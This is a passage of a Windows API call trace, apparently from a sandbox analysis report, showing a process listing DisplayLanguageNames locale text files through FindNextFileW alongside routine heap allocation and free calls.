ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.138] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="")) returned 1 [0084.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cedd8 [0084.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed608 [0084.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ceee0 [0084.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.140] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="")) returned 1 [0084.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed628 [0084.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cefe8 [0084.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_BH.txt", cAlternateFileName="")) returned 1 [0084.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed648 [0084.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf0f0 [0084.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_DZ.txt", cAlternateFileName="")) returned 1 [0084.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed668 [0084.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf1f8 [0084.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.145] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_EG.txt", cAlternateFileName="")) returned 1 [0084.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed688 [0084.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf300 [0084.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7ac0) returned 0x12ea380 [0084.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0084.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IN.txt", cAlternateFileName="")) returned 1 [0084.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed6a8 [0084.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf408 [0084.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.149] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IQ.txt", cAlternateFileName="")) returned 1 [0084.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed6c8 [0084.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf510 [0084.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_JO.txt", cAlternateFileName="")) returned 1 [0084.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed6e8 [0084.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf618 [0084.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.152] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_KW.txt", cAlternateFileName="")) returned 1 [0084.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed708 [0084.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf720 [0084.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LB.txt", cAlternateFileName="")) returned 1 [0084.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed728 [0084.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf828 [0084.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.156] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LY.txt", cAlternateFileName="")) returned 1 [0084.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed748 [0084.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cf930 [0084.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.157] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3d9d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_MA.txt", cAlternateFileName="")) returned 1 [0084.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed768 [0084.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cfa38 [0084.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.159] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_OM.txt", cAlternateFileName="")) returned 1 [0084.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed788 [0084.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cfb40 [0084.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.161] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_QA.txt", cAlternateFileName="")) returned 1 [0084.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SA.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SD.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SY.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_TN.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_YE.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg_BG.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca.txt", cAlternateFileName="")) returned 1 [0084.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs_CZ.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, 